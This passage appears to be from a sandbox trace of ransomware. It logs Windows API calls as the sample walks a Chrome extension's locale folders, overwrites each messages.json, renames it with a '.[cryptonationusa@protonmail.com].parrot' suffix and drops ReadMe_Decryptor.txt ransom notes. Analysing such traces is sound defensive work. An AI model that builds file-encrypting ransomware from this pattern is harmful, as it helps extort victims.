hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d8fd0 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d9118 [0056.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.043] WriteFile (in: hFile=0x288, lpBuffer=0x5d9118*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9118*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0056.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9118 | out: hHeap=0x5b0000) returned 1 [0056.044] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.044] CloseHandle (hObject=0x288) returned 1 [0056.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d8fd0 [0056.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d9118 [0056.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.047] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9118 | out: hHeap=0x5b0000) returned 1 [0056.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0056.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5ea0 | out: hHeap=0x5b0000) returned 1 [0056.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240ba8 [0056.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d5ea0 [0056.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.048] GetFileType (hFile=0x288) returned 0x1 [0056.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0056.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0056.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0056.188] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d5c88 [0056.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb03c22a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0518f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.188] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb03c22a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0518f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0056.188] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.188] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0056.189] lstrcmpW (lpString1="et", lpString2=".") returned 1 [0056.189] lstrcmpW (lpString1="et", lpString2="..") returned 1 [0056.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d5e20 [0056.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0056.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5e20 | out: hHeap=0x5b0000) returned 1 [0056.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0056.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d5e20 [0056.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x2240c20 [0056.189] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.288] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.288] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.288] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.288] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.288] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.289] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.289] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd6 [0056.289] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.289] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.289] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.290] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.290] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd6, lpOverlapped=0x0) returned 1 [0056.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0056.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0056.290] GetLastError () returned 0x0 [0056.290] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d8fd0 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d9118 [0056.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.291] WriteFile (in: hFile=0x288, lpBuffer=0x5d9118*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9118*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0056.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9118 | out: hHeap=0x5b0000) returned 1 [0056.292] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.292] CloseHandle (hObject=0x288) returned 1 [0056.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d5f48 [0056.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d8fd0 [0056.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f48 | out: hHeap=0x5b0000) returned 1 [0056.293] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e38 | out: hHeap=0x5b0000) returned 1 [0056.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0056.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d5f48 [0056.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x2240e38 [0056.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.294] GetFileType (hFile=0x288) returned 0x1 [0056.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0056.304] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0056.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0056.305] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x2240c20 [0056.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb06238a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.305] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb06238a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f48 | out: hHeap=0x5b0000) returned 1 [0056.305] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5e20 | out: hHeap=0x5b0000) returned 1 [0056.305] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0056.305] lstrcmpW (lpString1="fi", lpString2=".") returned 1 [0056.305] lstrcmpW (lpString1="fi", lpString2="..") returned 1 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240da8 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d5e20 [0056.305] 